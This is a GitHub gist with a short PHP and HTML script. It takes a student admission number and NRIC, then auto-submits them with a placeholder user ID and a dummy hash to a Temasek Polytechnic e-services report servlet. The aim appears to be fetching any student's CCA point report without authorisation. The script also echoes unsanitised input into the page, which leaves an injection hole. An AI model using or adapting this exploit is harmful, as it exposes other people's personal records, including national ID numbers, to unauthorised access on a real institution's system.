Last active
December 28, 2021 03:08
-
-
Save gjj/2a273b70eca06b74b4e2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action="" name="lolfail" method="post"> | |
<input type="textbox" autocomplete="off" name="id" placeholder="admission number pls" /> | |
<input type="submit" name="submit" value="go" /> | |
</form> | |
<form action="" name="lolfail2" method="post"> | |
<input type="textbox" autocomplete="off" name="nric" placeholder="nric pls" /> | |
<input type="submit" name="submit" value="go" /> | |
</form> | |
<?php | |
$id = $_POST['id']; | |
$nric = $_POST['nric']; | |
if( $_POST['submit'] ) { | |
?> | |
<html> | |
<body> | |
<form action="https://tp-eservices.tp.edu.sg/tpappl/eservices/servlet/com.inet.report.ReportServlet?report=/opt/WebSphere/AppServer/installedApps/eservices.ear/eservicesreg.war/cca/FinalCCAPointReport.rpt&dll=ccaifmx.dll" name="transcriptquery" method="post"> | |
<input type=hidden name="prompt0" value="<?php if( $_POST['id'] ) echo $id; ?>"> | |
<input type=hidden name="prompt1" value="<?php if( $_POST['nric'] ) echo $nric; ?>"> | |
<input type=hidden name="prompt2" value="null"> | |
<input type=hidden name="prompt3" value="null"> | |
<input type=hidden name="init" value="pdf"> | |
<input type="hidden" name="user_id" value="lol"> | |
<input type="hidden" name="ds_code" value="random hash that doesnt do anything"> | |
</form> | |
<script> | |
document.transcriptquery.submit(); | |
</script> | |
</body> | |
</html> | |
<?php | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment